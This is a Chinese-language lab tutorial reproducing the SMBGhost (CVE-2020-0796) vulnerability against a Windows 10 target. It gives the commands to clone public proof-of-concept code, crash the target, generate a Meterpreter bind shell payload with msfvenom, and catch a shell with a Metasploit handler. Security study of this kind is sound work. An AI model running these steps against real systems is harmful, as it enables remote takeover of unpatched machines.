永恒之黑:CVE-2020-0796漏洞复现
目录
- 永恒之黑:CVE-2020-0796漏洞复现
- 漏洞介绍
- 漏洞影响范围
- 漏洞复现
- 1.环境准备
- 2.复现过程
漏洞介绍
本漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,攻击方可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
漏洞影响范围
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
漏洞复现
1.环境准备
win10靶机:必须关闭防火墙
kali攻击机
2.复现过程
poc和getshell工具地址:
git clone https://github.com/eerykitty/CVE-2020-0796-PoC
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC
首先关闭靶机的防火墙
检测连通性,kali和靶机是否可以互通
使用漏洞检测工具检测漏洞是否存在
CVE-2020-0796-Scanner.exe
说明存在漏洞,可以进行攻击
漏洞利用-使用蓝屏
原理:该脚本连接到目标主机,并在转移头中设置了错误的偏移量字段的情况下压缩了身份验证的请求,从而导致解压缩器缓冲溢出并导致目标崩溃
python CVE-2020-0796.py 192.168.100.149
在kali直接敲命令下载工具:git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
运行出现报错,安装对应的模块即可
出现蓝屏现象
kali进入msf,使用msf生成木马。
并查看是否生成功
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python > shellcode.txt
#生成的木马文件名自定义
打开生成的脚步查看
将msf中生成的shellcode.txt生成的code,替换到SMBGhost_RCE_poc下载文件中的exploit.py的USER_PAYLOAD参数(将原来的删除掉),并把参数buf改为USER_PAYLOAD,替换完如下图
进入kali中的msf模块打开监听模块
use exploit/multi/handler #选择监听模块
set payload windows/x64/meterpreter/bind_tcp #使用监听模块
set lport 4444 #监听端口
set rhost 靶机IP #被监听主机
run #运行
run运行
出现meterpreter >说明已经建立了一个会话连接
如果没反应,反复多次测试即可,多次run,回车
若出现多次蓝屏,可重启靶机再次尝试
攻击成功
获取shell权限
输入shell即可
输入以下代码解决中午乱码问题
chcp 65001
攻击完成